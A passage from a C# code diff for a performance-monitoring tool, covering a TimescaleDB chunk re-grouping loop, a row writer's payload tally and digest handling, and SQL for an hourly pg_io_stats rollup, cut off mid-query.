+    /// skipped, or <paramref name="cancellationToken"/> is cancelled (which throws). Returns the chunks re-grouped.
+    /// </summary>
+    internal async Task<int> RunAsync(CancellationToken cancellationToken) => (await RunDetailedAsync(cancellationToken)).Done;
+
+    /// <summary><see cref="RunAsync"/> with the reason the run ended, so a test can tell "nothing left" from "could not run".</summary>
+    internal async Task<PerfmonRegroupRunResult> RunDetailedAsync(CancellationToken cancellationToken)
+    {
+        await using var connection = await _openConnection(cancellationToken);
+        var reach = await EffectiveReachDaysAsync(connection, cancellationToken);
+        var skipped = new HashSet<string>(StringComparer.Ordinal);
+        var run = Stopwatch.StartNew();
+        var done = 0;
+        var failuresInARow = 0;
+        var left = 0;
+        var end = PerfmonRegroupRunEnd.NothingLeft;
+        var owedPause = TimeSpan.Zero;
+        var started = false;
+
+        while (true)
+        {
+            var read = await _readCandidates(connection, _logger, reach, cancellationToken);
+            var next = Next(read, skipped, out end, out left);
+            if (next is null)
+            {
+                break;
+            }
+
+            if (owedPause > TimeSpan.Zero)
+            {
+                /* The wait is spent only when there is more to do (nothing waits after the last chunk), and the catalog
+                   is read again after it: the policy or a restart may have re-grouped the chunk meanwhile. */
+                await _delay(owedPause, cancellationToken);
+                owedPause = TimeSpan.Zero;
+                read = await _readCandidates(connection, _logger, reach, cancellationToken);
+                next = Next(read, skipped, out end, out left);
+                if (next is null)
+                {
+                    break;
+                }
+            }
+
+            if (!started)
+            {
+                started = true;
+                _logger?.LogInformation(
+                    "TimescaleDB: perfmon_stats re-group started: {Chunks} chunk(s) inside the {Days}-day reach have the old grouping; they are re-grouped one at a time, newest first, each followed by a pause as long as it took (at least {MinPauseSeconds} s) (#5574)",
+                    read.Candidates.Count, reach, (int)_minPause.TotalSeconds);
+            }
+
+            var chunk = next.Value.Chunk;
+            var outcome = await TimescaleSupport.RegroupPerfmonChunkAsync(connection, _logger, next.Value, cancellationToken, _statementTimeoutSeconds);
+
+            /* Every outcome waits as long as the work took: a lock lost at the end of a decompress threw a whole rewrite away,
+               and the store was just as busy as after a good one. */
+            owedPause = Max(outcome.Elapsed, _minPause);
+            switch (outcome.Result)
+            {
+                case TimescaleSupport.PerfmonRegroupChunkResult.Regrouped:
+                    done++;
+                    failuresInARow = 0;
+                    _regrouped.Add(chunk);
+                    break;
+
+                case TimescaleSupport.PerfmonRegroupChunkResult.LockBusy:
+                    /* Nothing changed. Skipped until the next start, so a chunk that stays busy is not hammered. */
+                    skipped.Add(chunk);
+                    failuresInARow = 0;
+                    if (outcome.Elapsed >= _lostWorkThreshold)
+                    {
+                        _logger?.LogInformation(
+                            "TimescaleDB: the lock on perfmon_stats chunk {Chunk} was lost after {ElapsedMs} ms of decompress work, which rolled back; the chunk is tried again at the next hourly check and the drain waits as long as the lost work took (#5574)",
+                            chunk, (long)outcome.Elapsed.TotalMilliseconds);
+                    }
+
+                    break;
+
+                case TimescaleSupport.PerfmonRegroupChunkResult.LeftUncompressed:
+                    /* The chunk is now the compression policy's (no longer a candidate: it is not compressed). The store
+                       just did a whole rewrite, and it counts toward the limit. */
+                    failuresInARow++;
+                    break;
+
+                case TimescaleSupport.PerfmonRegroupChunkResult.Gone:
+                    /* Retention dropped the chunk between the read and the decompress: nothing to do, nothing failed. */
+                    skipped.Add(chunk);
+                    failuresInARow = 0;
+                    _logger?.LogDebug("TimescaleDB: perfmon_stats chunk {Chunk} no longer exists (retention dropped it), so it is not re-grouped (#5574)", chunk);
+                    break;
+
+                case TimescaleSupport.PerfmonRegroupChunkResult.TimedOut:
+                    /* The decompress was cancelled: by its own cap, or by the server (a statement_timeout on the role or database,
+                       or someone's cancel). Either way the same chunk would be cancelled at every hourly start, and a rewrite
+                       costs minutes, so it is left alone while this process lives. The statement's own Warning has said why;
+                       this line says which of the two it was and how long it really ran (#5574). */
+                    skipped.Add(chunk);
+                    _gaveUp.Add(chunk);
+                    failuresInARow++;
+                    var ranSeconds = (int)outcome.Elapsed.TotalSeconds;
+                    /* A second of slack: the client's timer runs from the command's start, a timer can fire a few
+                       milliseconds early, and a server cancel inside the last second is the cap for every practical purpose. */
+                    if (outcome.Elapsed >= TimeSpan.FromSeconds(_statementTimeoutSeconds - 1))
+                    {
+                        _logger?.LogInformation(
+                            "TimescaleDB: perfmon_stats chunk {Chunk} could not be decompressed within {Seconds} s (it hit the statement cap after {Ran} s), so it is not tried again until the service restarts (#5574)",
+                            chunk, _statementTimeoutSeconds, ranSeconds);
+                    }
+                    else
+                    {
+                        _logger?.LogInformation(
+                            "TimescaleDB: perfmon_stats chunk {Chunk} was cancelled by the server (a statement_timeout or a cancel) after {Ran} s, before the {Seconds} s statement cap, so it is not tried again until the service restarts (#5574)",
+                            chunk, ranSeconds, _statementTimeoutSeconds);
+                    }
+
+                    break;
+
+                default:
+                    skipped.Add(chunk);
+                    failuresInARow++;
+                    break;
+            }
+
+            if (failuresInARow >= TimescaleSupport.PerfmonRegroupFailureLimit)
+            {
+                _logger?.LogWarning(
+                    "TimescaleDB: {Failures} perfmon_stats chunks in a row could not be re-grouped, so the re-group stops; the next hourly check tries again (#5574)",
+                    failuresInARow);
+                left = -1;
+                end = PerfmonRegroupRunEnd.FailureLimit;
+                break;
+            }
+        }
+
+        if (done > 0 || skipped.Count > 0 || started)
+        {
+            _logger?.LogInformation(
+                "TimescaleDB: perfmon_stats re-group run over: {Done} chunk(s) re-grouped to '{New}' in {ElapsedMs} ms; {Skipped} skipped for a busy lock or an error (tried again at the next hourly check); {Left} chunk(s) inside the {Days}-day reach still have the old grouping (#5574)",
+                done, TimescaleSupport.PerfmonStatsSegmentBy, run.ElapsedMilliseconds, skipped.Count, left < 0 ? "an unknown number of" : left.ToString(System.Globalization.CultureInfo.InvariantCulture), reach);
+        }
+        else if (end == PerfmonRegroupRunEnd.NothingLeft)
+        {
+            _logger?.LogDebug("TimescaleDB: no perfmon_stats chunk inside the {Days}-day reach has the old grouping to re-group (#5574)", reach);
+        }
+        else if (end == PerfmonRegroupRunEnd.Blocked)
+        {
+            _logger?.LogDebug("TimescaleDB: the perfmon_stats re-group did not run: the gate is closed (the reason is in the line above) (#5574)");
+        }
+
+        return new PerfmonRegroupRunResult(done, end);
+    }
+
+    /// <summary>The reach this run uses: the configured days, or one day less than the perfmon retention when that is
+    /// shorter (#5574). A retention that could not be read leaves the configured reach.</summary>
+    private async Task<int> EffectiveReachDaysAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
+    {
+        var retention = await TimescaleSupport.ReadPerfmonRetentionDaysAsync(connection, cancellationToken);
+        return retention is int days ? Math.Min(_reachDays, Math.Max(0, days - 1)) : _reachDays;
+    }
+
+    /// <summary>
+    /// The newest candidate this run may still do, or <c>null</c> with <paramref name="end"/> saying why not: the gate
+    /// blocked, the read failed (a Warning the first time in the process, Debug after), nothing is left, or every candidate
+    /// was skipped. A candidate this process already re-grouped is skipped, with one Warning per process that names the
+    /// setting text the view returned (a TimescaleDB that spells it another way than the literal the read compares to).
+    /// </summary>
+    private TimescaleSupport.PerfmonRegroupCandidate? Next(
+        TimescaleSupport.PerfmonRegroupRead read, HashSet<string> skipped, out PerfmonRegroupRunEnd end, out int left)
+    {
+        left = -1;
+        switch (read.Status)
+        {
+            case TimescaleSupport.PerfmonRegroupReadStatus.Blocked:
+                end = PerfmonRegroupRunEnd.Blocked;
+                return null;
+
+            case TimescaleSupport.PerfmonRegroupReadStatus.ReadFailed:
+                end = PerfmonRegroupRunEnd.ReadFailed;
+                if (!_warnedReadFailure)
+                {
+                    _warnedReadFailure = true;
+                    _logger?.LogWarning(
+                        "TimescaleDB: could not read perfmon_stats's chunk compression settings, so no chunk is re-grouped; this is logged once per service run and repeated only at Debug (#5574): {Message}",
+                        read.Detail);
+                }
+                else
+                {
+                    _logger?.LogDebug("TimescaleDB: could not read perfmon_stats's chunk compression settings again (#5574): {Message}", read.Detail);
+                }
+
+                return null;
+        }
+
+        left = read.Candidates.Count;
+        foreach (var candidate in read.Candidates)
+        {
+            if (skipped.Contains(candidate.Chunk) || _gaveUp.Contains(candidate.Chunk))
+            {
+                continue;
+            }
+
+            if (_regrouped.Contains(candidate.Chunk))
+            {
+                skipped.Add(candidate.Chunk);
+                if (!_warnedRepeatCandidate)
+                {
+                    _warnedRepeatCandidate = true;
+                    _logger?.LogWarning(
+                        "TimescaleDB: perfmon_stats chunk {Chunk} was re-grouped by this service run but the catalog still reports its grouping as '{Setting}' (the wanted one is '{New}'), so it is not re-grouped again; check the TimescaleDB version's spelling of the setting (#5574)",
+                        candidate.Chunk, candidate.OldSegmentBy ?? "(none)", TimescaleSupport.PerfmonStatsChunkSegmentBy);
+                }
+
+                continue;
+            }
+
+            end = PerfmonRegroupRunEnd.NothingLeft;
+            return candidate;
+        }
+
+        end = read.Candidates.Count == 0 ? PerfmonRegroupRunEnd.NothingLeft : PerfmonRegroupRunEnd.AllSkipped;
+        return null;
+    }
+
+    private static TimeSpan Max(TimeSpan a, TimeSpan b) => a >= b ? a : b;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PerformanceMonitor.Darling.Storage.csproj b/Darling/PerformanceMonitor.Darling.Storage/PerformanceMonitor.Darling.Storage.csproj
index 1c46d92dfd..e7f13ba251 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/PerformanceMonitor.Darling.Storage.csproj
+++ b/Darling/PerformanceMonitor.Darling.Storage/PerformanceMonitor.Darling.Storage.csproj
@@ -18,6 +18,8 @@
   </ItemGroup>
 
   <ItemGroup>
+    <!-- ServerClock: the job-history read converts each server-local run time with its server's clock. -->
+    <ProjectReference Include="..\..\PerformanceMonitor.Analysis\PerformanceMonitor.Analysis.csproj" />
     <ProjectReference Include="..\..\PerformanceMonitor.Collectors\PerformanceMonitor.Collectors.csproj" />
     <!-- #3797: the Query Store clutter composition that moved here beside its reader speaks the band canon
          (HealthSeverity) and the readonly_reason decode (QueryStoreReadonlyReason), both of which are
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PgCollectorRowWriter.cs b/Darling/PerformanceMonitor.Darling.Storage/PgCollectorRowWriter.cs
index 976c4ebbeb..d0c4ecbd20 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/PgCollectorRowWriter.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/PgCollectorRowWriter.cs
@@ -42,6 +42,13 @@ private NpgsqlBinaryImporter Target
 
     private int _payloadIndex;
 
+    /// <summary>
+    /// True between <see cref="BeginPayload"/> and <see cref="EndPayload"/>: the only span in which a written value is a
+    /// payload value. The host writes each row's prefix (collection id, collection_time, server_id, server_name) through
+    /// these same overloads before <see cref="BeginPayload"/>, so the hour-ledger tally (#4605) observes only inside it.
+    /// </summary>
+    private bool _inPayload;
+
     /// <summary>
     /// Routes the large text payloads of this collector into the hash-keyed dimension tables instead
     /// of inline onto every row (#1767). The host sets this once per COPY batch, from the SAME
@@ -61,9 +68,77 @@ public void UseDimensions(
     /// <summary>
     /// Opens one row's payload run: the diversion plan is indexed by PAYLOAD column ordinal, so the
     /// counter must restart after the prefix columns (which the host writes through this same
-    /// writer). Call immediately before the definition's WritePayload.
+    /// writer). Call immediately before the definition's WritePayload. It also opens the window in which the
+    /// ledger tally (<see cref="CountNonZeroAt"/>) watches writes: the prefix's own integers, written through these same
+    /// overloads before this call, are not payload values and are never tallied (#4605).
+    /// </summary>
+    public void BeginPayload()
+    {
+        _payloadIndex = 0;
+        _inPayload = true;
+    }
+
+    /// <summary>
+    /// The payload position whose integer value this writer tallies, or -1 when it tallies none (#4605). The hour
+    /// ledger needs, per batch, how many rows were written with a <c>sample_interval_seconds</c> other than 0, and the
+    /// writer is the one place that sees the value the COPY really sends into that column: counting here is counting
+    /// the write itself, not re-deriving the interval from the row, and the position comes from the same
+    /// <c>PayloadColumns</c> list the COPY's column list does (<see cref="QueryStatsHourLedgerWriter.IntervalPayloadIndex"/>),
+    /// so the two cannot disagree.
+    /// </summary>
+    private int _countedPayloadIndex = -1;
+
+    private long _countedNonZero;
+
+    private long _countedWrites;
+
+    /// <summary>
+    /// Starts tallying the integer values written at payload position <paramref name="payloadIndex"/>, from zero (#4605).
+    /// The host calls it once per COPY attempt, before the first row, on the attempt's own writer: a writer is built per
+    /// attempt, so a re-attempt starts from zero by construction and a failed attempt's tally cannot reach the next one.
+    /// </summary>
+    public void CountNonZeroAt(int payloadIndex)
+    {
+        if (payloadIndex < 0)
+        {
+            throw new ArgumentOutOfRangeException(nameof(payloadIndex), payloadIndex, "A payload position is zero or more.");
+        }
+
+        _countedPayloadIndex = payloadIndex;
+        _countedNonZero = 0;
+        _countedWrites = 0;
+    }
+
+    /// <summary>
+    /// How many values written at the watched position were not 0 (#4605). A NULL counts: it is the rollup's own
+    /// <c>sample_interval_seconds IS DISTINCT FROM 0</c> population, which includes rows from before the column existed.
     /// </summary>
-    public void BeginPayload() => _payloadIndex = 0;
+    public long NonZeroCounted => _countedNonZero;
+
+    /// <summary>
+    /// How many times the watched position was written as an integer (#4605). The host compares it with the rows it wrote:
+    /// a row that wrote the position through any other overload would be missing from <see cref="NonZeroCounted"/>, and an
+    /// undercounted ledger is the one error this tally must not make silently.
+    /// </summary>
+    public long CountedWrites => _countedWrites;
+
+    private void Observe(int index, int? value)
+    {
+        /* Only payload positions: the host writes its prefix through these same overloads before BeginPayload, and on a
+           fresh writer the first row's server_id (a Value(int)) would otherwise sit at position 1 or 2 (#4605). */
+        if (!_inPayload || index != _countedPayloadIndex)
+        {
+            return;
+        }
+
+        _countedWrites++;
+
+        /* Lifted comparison: a NULL is not 0, so it is counted, as the rollup counts it. */
+        if (value != 0)
+        {
+            _countedNonZero++;
+        }
+    }
 
     /// <summary>
     /// Closes one row's payload run and asserts the positional contract the whole binary COPY rests
@@ -75,6 +150,7 @@ public void UseDimensions(
     /// </summary>
     public void EndPayload(int expectedPayloadColumns)
     {
+        _inPayload = false;
         if (_payloadIndex != expectedPayloadColumns)
         {
             throw new InvalidOperationException(
@@ -197,6 +273,59 @@ public ICollectorRowWriter Value(string? value)
         return this;
     }
 
+    /// <summary>
+    /// A payload the host already knows the store holds: when <paramref name="knownDigest"/> is set and
+    /// <paramref name="content"/> is null, the row's digest column gets that digest directly, with no plan
+    /// text and no dim insert, and the digest joins the batch's touch set so the flush keeps the dim row
+    /// alive. Anything else is exactly <see cref="Value(string?)"/>. <paramref name="knownDigest"/> is the
+    /// 64-character hex of the SHA-256 <see cref="PayloadDimensions.Digest"/> produced; a malformed one
+    /// throws rather than writing a digest that resolves to nothing, and so does a known digest at a position
+    /// with no diverted payload (a writer set up without the diversion plan).
+    /// </summary>
+    public ICollectorRowWriter PayloadOrDigest(string? content, string? knownDigest)
+    {
+        if (knownDigest is null || content is not null)
+        {
+            return Value(content);
+        }
+
+        var digest = ParseKnownDigest(knownDigest);
+        if (!_diversionPlan.TryGetValue(_payloadIndex, out var dimension))
+        {
+            throw new InvalidOperationException(
+                "A known payload digest needs a diverted payload position — this position has none, so the row would be written with no plan.");
+        }
+
+        var dimensions = _dimensions ?? throw new InvalidOperationException(
+            "A diversion plan is set but no dimension batch — call UseDimensions with both.");
+        NextPayloadIndex();
+        dimensions.AddTouch(dimension.DimTable, digest);
+        Target.Write(digest, NpgsqlDbType.Bytea);
+        return this;
+    }
+
+    private static byte[] ParseKnownDigest(string knownDigest)
+    {
+        byte[] digest;
+        try
+        {
+            digest = Convert.FromHexString(knownDigest);
+        }
+        catch (FormatException ex)
+        {
+            throw new ArgumentException("A known payload digest must be hex text.", nameof(knownDigest), ex);
+        }
+
+        if (digest.Length != PayloadDimensions.DigestLengthBytes)
+        {
+            throw new ArgumentException(
+                $"A known payload digest must be {PayloadDimensions.DigestLengthBytes} bytes, got {digest.Length}.",
+                nameof(knownDigest));
+        }
+
+        return digest;
+    }
+
     public ICollectorRowWriter Value(long value)
     {
         NextPayloadIndex();
@@ -213,14 +342,14 @@ public ICollectorRowWriter Value(long? value)
 
     public ICollectorRowWriter Value(int value)
     {
-        NextPayloadIndex();
+        Observe(NextPayloadIndex(), value);
         Target.Write(value, NpgsqlDbType.Integer);
         return this;
     }
 
     public ICollectorRowWriter Value(int? value)
     {
-        NextPayloadIndex();
+        Observe(NextPayloadIndex(), value);
         if (value is null) { Target.WriteNull(); } else { Target.Write(value.Value, NpgsqlDbType.Integer); }
         return this;
     }
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PgIoStatsHourly.cs b/Darling/PerformanceMonitor.Darling.Storage/PgIoStatsHourly.cs
new file mode 100644
index 0000000000..8f03467913
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/PgIoStatsHourly.cs
@@ -0,0 +1,301 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// SQL for the hourly rollup of <c>collect.pg_io_stats</c> (#5495, V170): per (server, hour, backend_type, object_type,
+/// context), the window differences <c>get_pg_io_stats</c> would sum over that hour, so a long window reads whole hours from
+/// a few thousand rollup rows plus its two raw edges instead of differencing every raw row (7 days: 907k rows, 4 to 6 s on the rig).
+/// The text, the stitch proof and the measurements are in the PR for #5495; the storage half is here, the builder and
+/// the read's fallback are <see cref="PgIoStatsHourlyBuilder"/> and <see cref="DarlingPgIoReader"/>.
+///
+/// <para><b>Why not a continuous aggregate (#5329/#5472).</b> The counters are cumulative and the read sums
+/// <c>GREATEST(x - LAG(x), 0)</c> per combination; a continuous aggregate cannot hold a window function, so the rollup is a
+/// plain table filled by the hourly maintenance tick, like V168's builder (#5448).</para>
+///
+/// <para><b>What a rollup row holds, so the stitch is exact.</b> <c>i_*</c> is the sum of the differences between rows
+/// inside the hour. <c>b_*</c> is the difference of the hour's FIRST row against the combination's previous row (the
+/// last row of an earlier hour), with that row's <c>prev_ct</c>: the read adds <c>b_*</c> only when <c>prev_ct</c> is inside
+/// its window, which is exactly when the old per-window <c>LAG</c> would have seen that row. <c>l_*</c> is the hour's last row,
+/// the previous row for the first raw row of the tail edge. A counter reset or a crash restart is a negative difference
+/// that <c>GREATEST(..., 0)</c> flattens to 0 in all three, as in the raw read.</para>
+///
+/// <para><b>Plain tables, built by the service.</b> The service owns every write. The <c>collect</c> schema's blanket SELECT
+/// covers both tables; no GRANT and no provisioning change. No Lite twin: Lite has no PostgreSQL targets.</para>
+/// </summary>
+public static class PgIoStatsHourly
+{
+    /// <summary>The store schema version of the rung that creates the tables (V170). A store below it has neither table.</summary>
+    public const int RungVersion = 170;
+
+    public const string Table = "collect.pg_io_stats_hourly";
+    public const string StateTable = "collect.pg_io_stats_hourly_state";
+
+    /// <summary>Both tables, the unique key and the seed index, as the V170 rung runs them. Idempotent. The tables are empty when created.</summary>
+    public const string CreateSql = """
+CREATE TABLE IF NOT EXISTS collect.pg_io_stats_hourly
+(
+    server_id integer NOT NULL,
+    hour_start timestamp NOT NULL,
+    backend_type text, object_type text, context text,
+    row_count bigint NOT NULL,
+    last_ct timestamp NOT NULL,
+    prev_ct timestamp,
+    stats_reset timestamp,
+    op_bytes bigint,
+    writes_tracked boolean NOT NULL,
+    byte_counters_tracked boolean NOT NULL,
+    i_reads numeric, i_read_time_ms double precision, i_hits numeric, i_extends numeric, i_extend_time_ms double precision,
+    i_evictions numeric, i_reuses numeric, i_writes numeric, i_write_time_ms double precision,
+    i_read_bytes numeric, i_write_bytes numeric, i_extend_bytes numeric,
+    b_reads numeric, b_read_time_ms double precision, b_hits numeric, b_extends numeric, b_extend_time_ms double precision,
+    b_evictions numeric, b_reuses numeric, b_writes numeric, b_write_time_ms double precision,
+    b_read_bytes numeric, b_write_bytes numeric, b_extend_bytes numeric,
+    l_reads bigint, l_read_time_ms double precision, l_hits bigint, l_extends bigint, l_extend_time_ms double precision,
+    l_evictions bigint, l_reuses bigint, l_writes bigint, l_write_time_ms double precision,
+    l_read_bytes numeric(28,0), l_write_bytes numeric(28,0), l_extend_bytes numeric(28,0)
+);
+CREATE UNIQUE INDEX IF NOT EXISTS ux_pg_io_stats_hourly ON collect.pg_io_stats_hourly (server_id, hour_start, backend_type, object_type, context) NULLS NOT DISTINCT;
+CREATE INDEX IF NOT EXISTS ix_pg_io_stats_hourly_combo ON collect.pg_io_stats_hourly (server_id, (ARRAY[backend_type, object_type, context]), hour_start DESC);
+CREATE TABLE IF NOT EXISTS collect.pg_io_stats_hourly_state (server_id integer PRIMARY KEY, first_hour timestamp NOT NULL, built_through timestamp NOT NULL);
+""";
+
+    /// <summary>
+    /// Builds one (server, hour): $1 server_id, $2 the hour start (naive UTC timestamp); returns the rows inserted. The caller
+    /// deletes the hour's rows first, in the same transaction. Seeds each combination's difference from the newest EARLIER rollup row
+    /// (its <c>l_*</c>), so hours must be built in order from <c>first_hour</c>. The seed is one index probe per combination
+    /// of the hour being built (<c>ORDER BY hour_start DESC LIMIT 1</c> on <c>ix_pg_io_stats_hourly_combo</c>), not a sort of every earlier
+    /// rollup row of the server: that sort made the first fill quadratic in the hours already built.
+    ///
+    /// <para><b>Why an array compare.</b> The three key columns are nullable, and a NULL must match a NULL (as <c>IS NOT DISTINCT FROM</c>
+    /// did), which no index can serve: a combination new to the server, or absent for many hours, scanned back through all the server's
+    /// earlier rollup rows. Array equality treats NULL elements as equal and is btree-indexable, so the probe compares
+    /// <c>ARRAY[backend_type, object_type, context]</c> and the index holds that same expression ahead of <c>hour_start</c>. The match
+    /// and the row chosen are the same: the unique index is NULLS NOT DISTINCT, so each hour has one row per combination.</para>
+    /// </summary>
+    public const string BuildHourSql = """
+        WITH hr AS (
+            SELECT backend_type, object_type, context, collection_time AS ct, false AS is_seed,
+                   reads, read_time_ms, hits, extends, extend_time_ms, evictions, reuses, writes, write_time_ms,
+                   read_bytes, write_bytes, extend_bytes, stats_reset, op_bytes
+            FROM collect.pg_io_stats
+            WHERE server_id = $1 AND collection_time >= $2 AND collection_time < $2 + interval '1 hour'
+        ),
+        seed AS (
+            SELECT s.backend_type, s.object_type, s.context, s.last_ct AS ct, true AS is_seed,
+                   s.l_reads AS reads, s.l_read_time_ms AS read_time_ms, s.l_hits AS hits, s.l_extends AS extends, s.l_extend_time_ms AS extend_time_ms,
+                   s.l_evictions AS evictions, s.l_reuses AS reuses, s.l_writes AS writes, s.l_write_time_ms AS write_time_ms,
+                   s.l_read_bytes AS read_bytes, s.l_write_bytes AS write_bytes, s.l_extend_bytes AS extend_bytes,
+                   NULL::timestamp AS stats_reset, NULL::bigint AS op_bytes
+            FROM (SELECT DISTINCT backend_type, object_type, context FROM hr) AS cmb
+            CROSS JOIN LATERAL (
+                SELECT * FROM collect.pg_io_stats_hourly AS p
+                WHERE p.server_id = $1 AND p.hour_start < $2
+                AND   ARRAY[p.backend_type, p.object_type, p.context] = ARRAY[cmb.backend_type, cmb.object_type, cmb.context]
+                ORDER BY p.hour_start DESC
+                LIMIT 1
+            ) AS s
+        ),
+        u AS (SELECT * FROM seed UNION ALL SELECT * FROM hr),
+        d AS (
+            SELECT u.*,
+                   LAG(ct) OVER series AS prev_ct,
+                   count(*) FILTER (WHERE NOT is_seed) OVER (series ROWS UNBOUNDED PRECEDING) AS rn,
+                   GREATEST(reads - LAG(reads) OVER series, 0) AS d_reads,
+                   GREATEST(read_time_ms - LAG(read_time_ms) OVER series, 0) AS d_read_time_ms,
+                   GREATEST(hits - LAG(hits) OVER series, 0) AS d_hits,
+                   GREATEST(extends - LAG(extends) OVER series, 0) AS d_extends,
+                   GREATEST(extend_time_ms - LAG(extend_time_ms) OVER series, 0) AS d_extend_time_ms,
+                   GREATEST(evictions - LAG(evictions) OVER series, 0) AS d_evictions,
+                   GREATEST(reuses - LAG(reuses) OVER series, 0) AS d_reuses,
+                   GREATEST(writes - LAG(writes) OVER series, 0) AS d_writes,
+                   GREATEST(write_time_ms - LAG(write_time_ms) OVER series, 0) AS d_write_time_ms,
+                   GREATEST(read_bytes - LAG(read_bytes) OVER series, 0) AS d_read_bytes,
+                   GREATEST(write_bytes - LAG(write_bytes) OVER series, 0) AS d_write_bytes,
+                   GREATEST(extend_bytes - LAG(extend_bytes) OVER series, 0) AS d_extend_bytes
+            FROM u
+            WINDOW series AS (PARTITION BY backend_type, object_type, context ORDER BY ct)
+        ),
+        a AS (
+            SELECT backend_type, object_type, context,
+                   count(*) AS row_count, max(ct) AS last_ct,
+                   max(prev_ct) FILTER (WHERE rn = 1) AS prev_ct,
+                   max(stats_reset) AS stats_reset, max(op_bytes) AS op_bytes,
+                   bool_or(writes IS NOT NULL) AS writes_tracked, bool_or(read_bytes IS NOT NULL) AS byte_counters_tracked,
+                   sum(d_reads) FILTER (WHERE rn > 1) AS i_reads, sum(d_read_time_ms) FILTER (WHERE rn > 1) AS i_read_time_ms,
+                   sum(d_hits) FILTER (WHERE rn > 1) AS i_hits, sum(d_extends) FILTER (WHERE rn > 1) AS i_extends,
+                   sum(d_extend_time_ms) FILTER (WHERE rn > 1) AS i_extend_time_ms, sum(d_evictions) FILTER (WHERE rn > 1) AS i_evictions,
+                   sum(d_reuses) FILTER (WHERE rn > 1) AS i_reuses, sum(d_writes) FILTER (WHERE rn > 1) AS i_writes,
+                   sum(d_write_time_ms) FILTER (WHERE rn > 1) AS i_write_time_ms, sum(d_read_bytes) FILTER (WHERE rn > 1) AS i_read_bytes,
+                   sum(d_write_bytes) FILTER (WHERE rn > 1) AS i_write_bytes, sum(d_extend_bytes) FILTER (WHERE rn > 1) AS i_extend_bytes,
+                   sum(d_reads) FILTER (WHERE rn = 1) AS b_reads, sum(d_read_time_ms) FILTER (WHERE rn = 1) AS b_read_time_ms,
+                   sum(d_hits) FILTER (WHERE rn = 1) AS b_hits, sum(d_extends) FILTER (WHERE rn = 1) AS b_extends,
+                   sum(d_extend_time_ms) FILTER (WHERE rn = 1) AS b_extend_time_ms, sum(d_evictions) FILTER (WHERE rn = 1) AS b_evictions,
+                   sum(d_reuses) FILTER (WHERE rn = 1) AS b_reuses, sum(d_writes) FILTER (WHERE rn = 1) AS b_writes,
+                   sum(d_write_time_ms) FILTER (WHERE rn = 1) AS b_write_time_ms, sum(d_read_bytes) FILTER (WHERE rn = 1) AS b_read_bytes,
+                   sum(d_write_bytes) FILTER (WHERE rn = 1) AS b_write_bytes, sum(d_extend_bytes) FILTER (WHERE rn = 1) AS b_extend_bytes
+            FROM d WHERE NOT is_seed
+            GROUP BY backend_type, object_type, context
+        ),
+        lst AS (
+            SELECT DISTINCT ON (backend_type, object_type, context) backend_type, object_type, context,
+                   reads, read_time_ms, hits, extends, extend_time_ms, evictions, reuses, writes, write_time_ms,
+                   read_bytes, write_bytes, extend_bytes
+            FROM hr ORDER BY backend_type, object_type, context, ct DESC
+        ),
+        ins AS (
+            INSERT INTO collect.pg_io_stats_hourly
+            SELECT $1, $2, a.backend_type, a.object_type, a.context, a.row_count, a.last_ct, a.prev_ct, a.stats_reset, a.op_bytes,
+                   a.writes_tracked, a.byte_counters_tracked,
+                   a.i_reads, a.i_read_time_ms, a.i_hits, a.i_extends, a.i_extend_time_ms, a.i_evictions, a.i_reuses, a.i_writes, a.i_write_time_ms,
+                   a.i_read_bytes, a.i_write_bytes, a.i_extend_bytes,
+                   a.b_reads, a.b_read_time_ms, a.b_hits, a.b_extends, a.b_extend_time_ms, a.b_evictions, a.b_reuses, a.b_writes, a.b_write_time_ms,
+                   a.b_read_bytes, a.b_write_bytes, a.b_extend_bytes,
+                   l.reads, l.read_time_ms, l.hits, l.extends, l.extend_time_ms, l.evictions, l.reuses, l.writes, l.write_time_ms,
+                   l.read_bytes, l.write_bytes, l.extend_bytes
+            FROM a JOIN lst l ON l.backend_type IS NOT DISTINCT FROM a.backend_type AND l.object_type IS NOT DISTINCT FROM a.object_type
+                             AND l.context IS NOT DISTINCT FROM a.context
+            RETURNING 1)
+        SELECT count(*) FROM ins;
+""";
+
+    /// <summary>
+    /// The count guard: $1 server_id, $2/$3 the window. Returns (h1, h2), the whole-hour span the rollup may serve, or no row.
+    /// h1 is the window start rounded up, h2 the end rounded down and capped at the built watermark; the span must be 6 hours or more,
+    /// h1 must be after the server's first built hour (earlier, the seed of the first rollup rows is unknown), and every hour's raw row
+    /// count must equal the rollup's <c>sum(row_count)</c>, for the hours in [h1, h2) AND for the hour just before h1. A late row
+    /// older than the builder's rebuild span, an unbuilt hour or a purged hour all make a count differ.
+    ///
+    /// <para><b>The hour before h1.</b> The first rollup hour's boundary difference <c>b_*</c> was taken against the newest row
+    /// before it as of the build, and the stitch adds it only when that row is inside the window, so that row is in the window's head
+    /// edge and in the hour just before h1. A row that arrived there after the build is differenced by the raw head edge AND still
+    /// missing from the stale boundary difference, which is a double count; the count of that hour catches it.</para>
+    ///
+    /// <para><b>Bounds the planner can use.</b> The raw count is bounded on the bound parameters ($2 less the extra hour, and $3),
+    /// besides the exact hours: the exact bounds come out of a CTE column and cannot exclude a chunk of the hypertable, so without
+    /// the parameter bounds the count read every compressed chunk of the store at any window length. The rollup table is a plain
+    /// table whose unique index leads with (server_id, hour_start), so its range is already an index range.</para>
+    /// </summary>
+    public const string GuardSql = """
+        WITH st AS (
+            SELECT first_hour, built_through FROM pg_io_stats_hourly_state WHERE server_id = $1
+        ),
+        b AS (
+            SELECT CASE WHEN date_trunc('hour', $2::timestamp) = $2::timestamp THEN $2::timestamp
+                        ELSE date_trunc('hour', $2::timestamp) + interval '1 hour' END AS h1,
+                   least(date_trunc('hour', $3::timestamp), st.built_through) AS h2,
+                   st.first_hour
+            FROM st
+        ),
+        ok AS (
+            SELECT h1, h2 FROM b WHERE h2 - h1 >= interval '6 hours' AND h1 > first_hour
+        ),
+        l AS (
